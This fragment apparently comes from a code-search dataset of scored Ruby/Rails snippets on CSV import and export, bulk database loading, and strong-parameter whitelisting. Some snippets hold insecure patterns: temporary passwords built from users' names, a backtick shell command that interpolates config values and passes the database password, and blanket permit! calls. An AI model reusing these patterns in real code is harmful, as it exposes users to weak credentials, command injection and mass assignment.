User.find_by_email(row_hash['email'])\n if user\n #found an existing user, so update attributes\n user.update(row_hash)\n\n if user.errors.blank?\n updated_user_ids.push user.id\n end\n else\n # import the new user\n temp_pass = row_hash['last_name'] + row_hash['first_name']\n row_hash['password'] = temp_pass\n row_hash['password_confirmation'] = temp_pass\n\n user = User.create(row_hash)\n\n if user.errors.blank?\n created_user_ids.push user.id\n end\n end\n\n # handle errors\n user.errors.each do |error|\n user_errors[error] ||= []\n user_errors[error].push user.full_name\n end\n end\n end\n\n # children next...\n created_child_ids = []\n updated_child_ids = []\n child_errors = {}\n\n # if replacing entire database, delete all children\n Child.delete_all if replace\n\n CSV.foreach(file.path, headers: true) do |row|\n row_hash = row.to_hash\n\n # check for child - if not child, skip, otherwise delete so it doesn't mess up creation\n next unless row_hash['child'] && (row_hash['child'].downcase == 'true')\n row_hash.delete 'child'\n\n # update date formats to correct the CSV export format\n if !row_hash['birthday'].blank?\n date = DateTime.strptime(row_hash['birthday'], '%m/%d/%y') rescue nil\n if date\n birthday_formatted = date.strftime('%Y-%m-%d').to_s\n row_hash['birthday'] = birthday_formatted\n end\n end\n\n # create child-only hash\n child_hash = {}\n row_hash.each do |key,value|\n if !value.blank?\n child_hash[key] = value\n end\n end\n\n child = Child.find_by_id(child_hash['id'])\n if child\n #found an existing child, so update attributes\n child.update(child_hash)\n\n if child.errors.blank?\n updated_child_ids.push child.id\n end\n else\n # import the new child\n child = Child.create(child_hash)\n\n if child.errors.blank?\n created_child_ids.push child.id\n end\n end\n\n # handle errors\n child.errors.each do |error|\n child_errors[error] ||= []\n child_errors[error].push child.full_name\n end\n end\n\n # return a hash of the saved and updated user ids, and the errors for the failures\n { created_user_ids: created_user_ids, updated_user_ids: updated_user_ids, user_errors: user_errors,\n created_child_ids: created_child_ids, updated_child_ids: updated_child_ids, child_errors: child_errors }\n end",
"title": ""
},
{
"docid": "cd2aae0d50a52a5582db8d1ed77435d2",
"score": "0.5411292",
"text": "def import\n CSV.new(open(uri), headers: :first_row).each_with_index do |csv_row, i|\n begin\n create_departure(csv_row: csv_row)\n rescue => e\n # this is a catch all for all the types of parsing errors that could\n # occur above\n csv_logger.info(\n I18n.t('import_exception', scope: LOCALE, row_number: i)\n )\n csv_logger.error(e)\n end\n end\n end",
"title": ""
},
{
"docid": "55d0f668545c53535a7683cd6b5a53fc",
"score": "0.5410625",
"text": "def do_bulk_load(file, table_name, options={})\r\n env_name = options[:env] || RAILS_ENV\r\n config = ActiveRecord::Base.configurations[env_name]\r\n puts \"Loading table \\\"#{table_name}\\\" from file \\\"#{filename}\\\"\"\r\n cmd = \"bcp \\\"#{config['database']}.dbo.#{table_name}\\\" in \" +\r\n \"\\\"#{filename}\\\" -S \\\"#{config['host']}\\\" -c \" +\r\n \"-t \\\"#{options[:delimited_by]}\\\" -b10000 -a8192 -q -E -U \\\"#{config['username']}\\\" \" +\r\n \"-P \\\"#{config['password']}\\\" -e \\\"#{filename}.in.errors\\\"\"\r\n `#{cmd}`\r\n end",
"title": ""
},
{
"docid": "51c213b372357cb19ec1dfbbcfb724f9",
"score": "0.54044014",
"text": "def import_from_csv(file_name)\n kanbanery_tickets = extract_kanbanery_tickets_from_csv(file_name)\n @cards = extract_cards(kanbanery_tickets)\n end",
"title": ""
},
{
"docid": "60bad253c5d47712b1734efb20bddd08",
"score": "0.5396988",
"text": "def import_carrier_services(csv_file_path)\n require 'csv'\n new_services = []\n CSV.foreach(csv_file_path, col_sep: ';', headers: true) do |row|\n new_services << carrier_services.create(code: row[0], service: row[1])\n end\n self.carrier_services = new_services\n end",
"title": ""
},
{
"docid": "126b663642dfdc2aa73a81a8561b673e",
"score": "0.53967965",
"text": "def upload_csv\n @title=\"Import Users\"\n if request.post?\n CSV.parse(params[:file].read, :encoding=>\"UTF-8\") do |row|\n row = row.collect(&:to_s).collect(&:strip).collect{|s| s.gsub(\"\\\"\", \"\")}\n # row = row[0].to_s.split(\"\\t\").collect(&:strip)\n\n\t Businessnew.create({:address=>row[3], :category=>row[10], :city=>row[4], :id=>row[0],\n :latitude=>row[9], :longitude=>row[8], :name=>row[1], :phone=>row[7],\n :postal_code=>row[6].split(\" \").join(''), :state=>row[5], :url=>row[2]}) if Businessnew.present?\n\n#force_encoding(\"UTF-8\")\n#.encode(\"ISO-8859-1\")\n#.force_encoding(\"ISO-8859-1\").encode(\"UTF-8\")\n#force_encoding(\"BINARY\")\n\n # CsvBusiness.create({\n # :address=>row[5],\n #:city=>row[6],\n #:company_name=>row[4],\n #:contact_name=>row[9],\n #:employee=>row[12],\n #:fax_number=>row[15],\n #:gender=>row[10],\n # :major_division_description=>row[0],\n # :phone_number=>row[14],\n # :province=>row[7],\n # :sales=>row[13],\n # :sic_2_code_description=>row[1],\n # :sic_4_code=>row[2],\n # :sic_4_code_description=>row[3],\n #:title=>row[11],\n #:zip_code=>row[8]\n # })\n\n=begin\n#20130615051307\n\t\tStoreTiming.create({:id=>row[0], :business_id=>row[1], :mon_from=>row[2], :mon_to=>row[3], :tue_from=>row[4], :tue_to=>row[5], :wed_from=>row[6], :wed_to=>row[7], :thur_from=>row[8], :thur_to=>row[9],\n :fri_from=>row[10], :fri_to=>row[11], :sat_from=>row[12], :sat_to=>row[13],\n :sun_from=>row[14], :sun_to=>row[15]})\n=end\n end\n\n flash[:notice] = \"Uploading completed.\"\n redirect_to root_path\n else\n render :layout => false\n end\n\n end",
"title": ""
},
{
"docid": "ff8b39d77f617cf2a2f713a290c11060",
"score": "0.5396176",
"text": "def update_csv\n CSV.open(@csv_file, \"w\") do |csv|\n csv << [\"id\", \"name\", \"password\", \"title\"]\n @data.each do |record|\n csv << [record.id, record.name, record.password, record.title]\n end\n end\n end",
"title": ""
},
{
"docid": "7b71b89d5b07a340e6dd252175e8050f",
"score": "0.5390422",
"text": "def save\n CSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n csv << [@author, @content]\n end\n end",
"title": ""
},
{
"docid": "6e25d1774359fb3477cf95ca57486e3c",
"score": "0.5389772",
"text": "def updateCSVFile\n\t\tFile.open('accounts.csv', 'w') do |file|\n\t\t\tfile << \"Account,Date,Payee,Category,Outflow,Inflow\\n\"\n\t\t\[email protected] do |line|\n\t\t\t\tfile << line\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "0e211a9e8deb0843adce03005d653c62",
"score": "0.53878015",
"text": "def read_csv(file_name)\n CSV.foreach(file_name, headers: true) do |row|\n print row['Year'.gsub('*', ' ')], ' '\n qbr(row['Cmp'].to_f, row['Att'].to_f, row['TD'].to_f, row['Int'].to_f,\n row['Yds'].to_f)\n end\nend",
"title": ""
},
{
"docid": "3191f997f1f7d5dc3f1c99a53c3a3912",
"score": "0.53770685",
"text": "def fillDatabaseWithCSV(fileName)\n\n nbrSentences = 0\n tempSentence = nil\n \n File.open(fileName).each_line do |line| \n \n if line.nil? \n return\n end\n # don't handle line starting with #\n if line[0].chr == \"#\"\n next\n end\n columns = line.split(';\"')\n \n if !columns.empty?\n transaction = nil\n # We start the transaction every 1000 sentences\n # otherwise it either to slow if we done one transaction\n # per sentence, or it run out of memory if we try to load\n # all the 300 000 sentences in one transaction\n #\n # TODO find a better way to do this\n \n if (nbrSentences.modulo 10000).equal? 0\n Neo4j::Transaction.new\n end\n tempSentence = Sentence.new\n tempSentence.text = columns.last[0..-4]\n tempSentence.lang = columns[1][0..-2];\n tempSentence.sentenceId = columns.first[1..-2]\n \n \n if (nbrSentences.modulo 10000).equal? 9999\n Neo4j::Transaction.finish\n end\n nbrSentences += 1\n end\n end\nend",
"title": ""
},
{
"docid": "043d9cab2216df56bc46adb63a1f4e38",
"score": "0.53733766",
"text": "def import\n @imported_count = 0\n\n # Reject if the file attribute is nil or empty.\n if file.blank?\n errors.add(:base, \"No file is specified\") and return\n end\n\n CSV.foreach(file.path, headers: true, header_converters: :symbol) do |row|\n # Crete a user in memory.\n user = User.assign_from_row(row)\n\n # Try to save it in the database.\n if user.save\n @imported_count += 1\n else\n # The magic variable $. keeps track of the last line read in a file.\n errors.add(:base, \"Line #{$.} - #{user.errors.full_messages.join(', ')}\")\n end\n end\n end",
"title": ""
},
{
"docid": "d92650edf5d22d8957ed5ca8ced5d7eb",
"score": "0.5373149",
"text": "def load_students(filename)\n CSV.foreach(filename) do |line|\n name, cohort = line[0], line[1]\n add_to_students name, cohort #refactored\n end\n success\n #file.close\nend",
"title": ""
},
{
"docid": "be0f5d59dfebab3aad468fbc5828539e",
"score": "0.53534466",
"text": "def open_file(arquivo)\n File.open(Rails.root.join('public', 'csv', arquivo), 'wb') do |file|\n file.write(document.read)\n end\n end",
"title": ""
},
{
"docid": "0d52f50f19aac795f0ff81403086bfb5",
"score": "0.5353014",
"text": "def load_data\n @data ||= CSV.read(@file)\n end",
"title": ""
},
{
"docid": "d5b06303d9968a59507e42a45c542c00",
"score": "0.5351932",
"text": "def store_bluetooth_records device_id, csv\n sql = 'INSERT INTO bluetooth_records (device_id,\n device_bluetooth_record_id, utc_time, bdaddr, rssi)\n VALUES ($1, $2, $3, $4, $5)'\n CSV.parse(csv, headers: false).each do |row|\n $cn.exec(sql, [device_id] + row)\n end\nend",
"title": ""
},
{
"docid": "e35cfe0fd8b825fef3af0eae7f084540",
"score": "0.53509593",
"text": "def parse_csv\n CSV.parse(File.read(\"DeleteMe.csv\")) do |row|\n puts row.class\n #project = @rally.find(RallyAPI::RallyQuery.new({:type => :project, :query_string => \"(Name = #{row[\"Name\"]})\"}))\n project = @rally.find(RallyAPI::RallyQuery.new({:type => :project, :query_string => \"(Name = \\\"#{row.first}\\\")\"}))\n puts project\n project = project.first\n fields = {}\n fields[:state] = 'Closed'\n fields[:notes] = close_reason(project)\n project.update(fields)\n end\n # File.open(\"DeleteMe.csv\", \"r\") do |f|\n # f.each_line do |line|\n # puts line\n # end\n # end\n end",
"title": ""
},
{
"docid": "78ace1ee6a69ec160694a3fb499045c8",
"score": "0.5349489",
"text": "def import(date, file, min_page = 0, max_page)\r\n\r\n \tputs \"Importing data from: #{file}\"\r\n\r\n # Load date\r\n @date = date\r\n\r\n # Regex patterns\r\n id_regex = /^(0|\\d{6,9}|\\d{12,13}|X{13}|UPI\\d{8,10}(?:\\/\\d)?|U\\/I-\\d{4}\\/\\d{2}|UF\\/I\\d{4}\\/\\d{2}|\\d{2,3}-\\d{1,7}-\\d{1,7}(?:[\\/|\\-|\\s]\\d{1,4})?)$/\r\n\r\n # output dir\r\n out_dir = File.join(Rails.root, \"db\", \"export\")\r\n Dir.mkdir(out_dir) if !Dir.exist?(out_dir)\r\n\r\n @banks = Set.new\r\n\r\n # Output CSV files\r\n @result_csv = CSV.open(File.join(out_dir, \"#{date}.csv\"), \"w\")\r\n\r\n owner_lines = []\r\n\r\n # Statistics\r\n @total = {}\r\n @total.default = 0\r\n\r\n @cases = [0, 0, 0, 0, 0, 0]\r\n\r\n start = Time.now\r\n \tPDF::Reader.new(file).pages.each_with_index do |page, page_num|\r\n \t\t#Skip first min_page\r\n next if page_num < min_page\r\n\r\n # Stop after max_page \r\n \t\tbreak if page_num > max_page\r\n\r\n @total[:pages] += 1\r\n\r\n \t\t\tpage.text.lines.each do |line|\r\n # skip empty lines\r\n \t\t\t\tif !line.strip!.blank?\r\n\r\n \t\t\t\t\t# Match owner ID - this is new owner\r\n \t\t\t\t\tif line =~ id_regex\r\n \t\t\t\t\t\t# parse and save owner info but skip first line\r\n \t\t\t\t\t\tparse(owner_lines) if !owner_lines.empty?\r\n\r\n \t\t\t\t\t\t# start capturing data for new owner\r\n \t\t\t\t\t\towner_lines = [$~[1]]\r\n # skip strings which are not accounts: headers and footers\r\n \t\t\t\t\telsif !(line =~ /Broj racuna/i || line =~ /^\\d{2}\\/\\d{2}\\/\\d{4}/ || line =~ /^JIB/) && (!owner_lines.empty?)\r\n \t\t\t\t\t\towner_lines << line.gsub(/\\s{2,}/,'\\t')\r\n \t\t\t\t\tend\r\n \t\t\t\tend\r\n \t\t\tend\r\n \t\tend\r\n\r\n @result_csv.close\r\n\r\n puts \"Statistics: #{@total.to_yaml}\\n#{@cases}\"\r\n puts \"Loading finished in: %3d:%04.2f\"%(Time.now-start).divmod(60.0)\r\n \tend",
"title": ""
},
{
"docid": "b565b79d5c01956be99545a34c63fd63",
"score": "0.5342626",
"text": "def load_csv\n CSV.foreach(@file_path) do |row|\n # Our CSV stores strings only - so we must initialize all our recipes\n recipe = Recipe.new(row[0],row[1])\n # We push them into the cookbook recipes array\n @recipes << recipe\n end\n end",
"title": ""
},
{
"docid": "a92dd0a337b15dbc96486e530f39a65b",
"score": "0.5342518",
"text": "def do_bulk_load(file, table_name, options={})\n q = \"COPY #{table_name} \"\n q << \"(#{options[:columns].join(',')}) \" if options[:columns]\n q << \"FROM '#{File.expand_path(file)}' \"\n if options[:fields]\n q << \"WITH \"\n q << \"DELIMITER '#{options[:fields][:delimited_by]}' \" if options[:fields][:delimited_by]\n q << \"NULL '#{options[:fields][:null_string]}'\" if options[:fields][:null_string]\n if options[:fields][:enclosed_by] || options[:ignore] && options[:ignore] > 0\n q << \"CSV \"\n q << \"HEADER \" if options[:ignore] && options[:ignore] > 0\n q << \"QUOTE '#{options[:fields][:enclosed_by]}' \" if options[:fields][:enclosed_by]\n end\n end\n \n execute(q)\n end",
"title": ""
},
{
"docid": "d35c064473eb78774e5480c34e2617e6",
"score": "0.5339193",
"text": "def prepare_csv\n unparsed_file = File.open(csv.path)\n self.parsed_csv_string = \"\"\n string = unparsed_file.readlines()\n string.each_with_index do |line,i|\n parsed_line = line.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '').gsub(/,\\\"\\\"/,'')\n # for some reason the iRacing CSV file is buggy.\n unless parsed_line == \"\\n\"\n if i == 5 or i == 6\n parsed_line = parsed_line.gsub(/\\n/,\"\\r\\n\")\n end\n self.parsed_csv_string << parsed_line\n end\n end\n unparsed_file.close\n end",
"title": ""
},
{
"docid": "8c7fc9443eba0934d5bc47684f4c5457",
"score": "0.5337457",
"text": "def load_students(filename = \"students.csv\")\n\n File.open(\"students.csv\",\"r\") do |file|\n stored_cohort = file.readline.chomp\n set_default_cohort(stored_cohort.to_sym)\n file.readlines.each do |line|\n name, cohort = line.chomp.split(\",\")\n add_student(name, cohort.to_sym)\n end\n end\n @saved = @students.count\n #file.close\n clear_terminal\n puts \"#{@students.count} Students loaded from #{filename}\"\n pause_program\nend",
"title": ""
},
{
"docid": "028d4898a86b45662f87d9d528f542ee",
"score": "0.5331689",
"text": "def save_students\n File.open(user_filename, \"w\") do |file|\n @students.each do |student|\n student_data = [student[:name], student[:cohort], student[:hobbies]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n end\nend",
"title": ""
},
{
"docid": "b2f96f1dc5eb34ed7bfea2334f5bf43d",
"score": "0.5330248",
"text": "def load(path)\n if File.exists?(path)\n @data = CSV.read(path)\n @data.shift(1)\n else\n log.warning \"No data file found at #{path}\"\n @data = []\n end\n @data\n end",
"title": ""
},
{
"docid": "2f13040fd57126aa709ee3e30264f55c",
"score": "0.53222525",
"text": "def append_csv(rainfall) # append rainfall details into CSV file\r\n filename = \"rainfall_collection.csv\"\r\n if !File.file?(filename) # places header information\r\n header = [\"Place\",\"year\",\"Month\",\r\n \"day1\",\"day2\",\"day3\",\"day4\",\"day5\",\"day6\",\"day7\",\"day8\",\"day9\",\"day10\",\r\n \"day11\",\"day12\",\"day13\",\"day14\",\"day15\",\"day16\",\"day17\",\"day18\",\"day19\",\"day20\",\r\n \"day21\",\"day22\",\"day23\",\"day24\",\"day25\",\"day26\",\"day27\",\"day28\",\"day29\",\"day30\",\r\n \"day31\"]\r\n CSV.open(filename, \"w+\") do |hdr|\r\n hdr << header\r\n hdr << rainfall\r\n end\r\n else\r\n CSV.open(filename, \"a+\") do |mth|\r\n mth << rainfall\r\n end\r\n end # end for File.file? if file exists\r\n\r\nend",
"title": ""
},
{
"docid": "acf4087900c545acddf87cf0012719ed",
"score": "0.5316582",
"text": "def save\n CSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n csv << [\"#{@author}\", \"#{@gossip}\"]\n\t\tend\n \tend",
"title": ""
},
{
"docid": "e7fddb0a8b3020db43664fe4739d2e22",
"score": "0.5311654",
"text": "def build_csv(file_name)\n\t\t\t\t\t\tarr = [\"Location URN\", \"Email List\"]\n\t\t\t\t\t\t\t\tCSV.open(file_name, \"wb\") do |csv|\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcsv << arr\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tend\nend",
"title": ""
},
{
"docid": "d8675db805d4fb3739677947dde7ef27",
"score": "0.5304514",
"text": "def perform(list, file)\n list.import_csv(file)\n end",
"title": ""
},
{
"docid": "1b344e60272501c9d52a4e466dcb78d0",
"score": "0.53041315",
"text": "def load_students(filename = \"students.csv\")\n file = File.open(filename, \"r\")\n file.readlines.each do |line|\n name, cohort = line.chomp.split(',')\n append_data(name,cohort)\n #@students << {name:name, cohort: cohort}\n end\n puts \"Loaded #{@students.count} from #{filename}\"\n file.close\nend",
"title": ""
},
{
"docid": "0eaf3909d95d609e493675ea9a693953",
"score": "0.5294484",
"text": "def load_database(filename)\n \n handle = File.open(filename)\n uncompressed = Zlib::GzipReader.new(handle)\n records = DnaIO.new(uncompressed)\n records.to_a\nend",
"title": ""
},
{
"docid": "5c858ada9314ed61617f7131377a5039",
"score": "0.52938145",
"text": "def save\n CSV.open('FoodDB.txt', 'w') do |csv|\n database.each_value do |v|\n csv << v.to_array\n end\n end\n end",
"title": ""
},
{
"docid": "a808201fdb4082b524d5a09b7d806227",
"score": "0.52880824",
"text": "def import_file(file)\n records = IO.readlines(file)\n Vocabulary::DB.transaction do\n records.each { |record| string_processing record }\n end\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "0c5e11bb7156f59164c1965eb7b6ecee",
"score": "0.0",
"text": "def cta_cte_params\n params.require(:cta_cte).permit(:matriculacion_id, :nro_cta_cte)\n end",
"title": ""
}
] |
[
{
"docid": "e164094e79744552ae1c53246ce8a56c",
"score": "0.6981269",
"text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e662f0574b56baff056c6fc4d8aa1f47",
"score": "0.6783559",
"text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1677b416ad07c203256985063859691b",
"score": "0.6746007",
"text": "def allow_params_authentication!; end",
"title": ""
},
{
"docid": "c1f317213d917a1e3cfa584197f82e6c",
"score": "0.67423046",
"text": "def allowed_params\n ALLOWED_PARAMS\n end",
"title": ""
},
{
"docid": "547b7ab7c31effd8dcf394d3d38974ff",
"score": "0.6735905",
"text": "def default_param_whitelist\n [\"mode\"]\n end",
"title": ""
},
{
"docid": "a91e9bf1896870368befe529c0e977e2",
"score": "0.6593568",
"text": "def param_whitelist\n [:role, :title]\n end",
"title": ""
},
{
"docid": "b32229655ba2c32ebe754084ef912a1a",
"score": "0.6504213",
"text": "def expected_permitted_parameter_names; end",
"title": ""
},
{
"docid": "3a9a65d2bba924ee9b0f67cb77596482",
"score": "0.649792",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "068f8502695b7c7f6d382f8470180ede",
"score": "0.6482664",
"text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6478558",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "c04a150a23595af2a3d515d0dfc34fdd",
"score": "0.64566684",
"text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "9a2a1af8f52169bd818b039ef030f513",
"score": "0.64392304",
"text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"title": ""
},
{
"docid": "c5f294dd85260b1f3431a1fbbc1fb214",
"score": "0.6380194",
"text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "631f07548a1913ef9e20ecf7007800e5",
"score": "0.6376366",
"text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"title": ""
},
{
"docid": "9735bbaa391eab421b71a4c1436d109e",
"score": "0.636562",
"text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "12fa2760f5d16a1c46a00ddb41e4bce2",
"score": "0.63208145",
"text": "def param_whitelist\n [:rating, :review]\n end",
"title": ""
},
{
"docid": "f12336a181f3c43ac8239e5d0a59b5b4",
"score": "0.63006365",
"text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "c25a1ea70011796c8fcd4927846f7a04",
"score": "0.63001287",
"text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "822c743e15dd9236d965d12beef67e0c",
"score": "0.6292953",
"text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"title": ""
},
{
"docid": "9d23b31178b8be81fe8f1d20c154336f",
"score": "0.62927175",
"text": "def valid_params_request?; end",
"title": ""
},
{
"docid": "533f1ba4c3ab55e79ed9b259f67a70fb",
"score": "0.62911004",
"text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "7f0fd756d3ff6be4725a2c0449076c58",
"score": "0.6290563",
"text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"title": ""
},
{
"docid": "5f16bb22cb90bcfdf354975d17e4e329",
"score": "0.6284484",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "1dfca9e0e667b83a9e2312940f7dc40c",
"score": "0.62436926",
"text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"title": ""
},
{
"docid": "a44360e98883e4787a9591c602282c4b",
"score": "0.6239928",
"text": "def allowed_params\n params.require(:allowed).permit(:email)\n end",
"title": ""
},
{
"docid": "4fc36c3400f3d5ca3ad7dc2ed185f213",
"score": "0.62184125",
"text": "def permitted_params\n []\n end",
"title": ""
},
{
"docid": "7a218670e6f6c68ab2283e84c2de7ba8",
"score": "0.62158304",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "b074031c75c664c39575ac306e13028f",
"score": "0.6210187",
"text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"title": ""
},
{
"docid": "0cb77c561c62c78c958664a36507a7c9",
"score": "0.6194002",
"text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"title": ""
},
{
"docid": "9892d8126849ccccec9c8726d75ff173",
"score": "0.61786795",
"text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e3089e0811fa34ce509d69d488c75306",
"score": "0.61759156",
"text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"title": ""
},
{
"docid": "7b7196fbaee9e8777af48e4efcaca764",
"score": "0.617342",
"text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"title": ""
},
{
"docid": "9d589006a5ea3bb58e5649f404ab60fb",
"score": "0.6162248",
"text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"title": ""
},
{
"docid": "d578c7096a9ab2d0edfc431732f63e7f",
"score": "0.61528504",
"text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "38a9fb6bd1d9ae5933b748c181928a6b",
"score": "0.61527",
"text": "def safe_params\n params.require(:user).permit(:name)\n end",
"title": ""
},
{
"docid": "7a6fbcc670a51834f69842348595cc79",
"score": "0.6146735",
"text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"title": ""
},
{
"docid": "fe4025b0dd554f11ce9a4c7a40059912",
"score": "0.6122714",
"text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.61169004",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "60ccf77b296ed68c1cb5cb262bacf874",
"score": "0.61082125",
"text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9",
"score": "0.61052656",
"text": "def quote_params\n params.permit!\n end",
"title": ""
},
{
"docid": "86b2d48cb84654e19b91d9d3cbc2ff80",
"score": "0.6091036",
"text": "def valid_params?; end",
"title": ""
},
{
"docid": "34d018968dad9fa791c1df1b3aaeccd1",
"score": "0.60807735",
"text": "def paramunold_params\n params.require(:paramunold).permit!\n end",
"title": ""
},
{
"docid": "6d41ae38c20b78a3c0714db143b6c868",
"score": "0.6070328",
"text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60634184",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "49052f91dd936c0acf416f1b9e46cf8b",
"score": "0.60213035",
"text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"title": ""
},
{
"docid": "5eaf08f3ad47cc781c4c1a5453555b9c",
"score": "0.6017676",
"text": "def filtering_params\n params.permit(:email, :name)\n end",
"title": ""
},
{
"docid": "5ee931ad3419145387a2dc5a284c6fb6",
"score": "0.6013606",
"text": "def check_params\n true\n end",
"title": ""
},
{
"docid": "3b17d5ad24c17e9a4c352d954737665d",
"score": "0.601112",
"text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6007318",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6007318",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "74c092f6d50c271d51256cf52450605f",
"score": "0.6001461",
"text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"title": ""
},
{
"docid": "75415bb78d3a2b57d539f03a4afeaefc",
"score": "0.6001135",
"text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"title": ""
},
{
"docid": "bb32aa218785dcd548537db61ecc61de",
"score": "0.59966296",
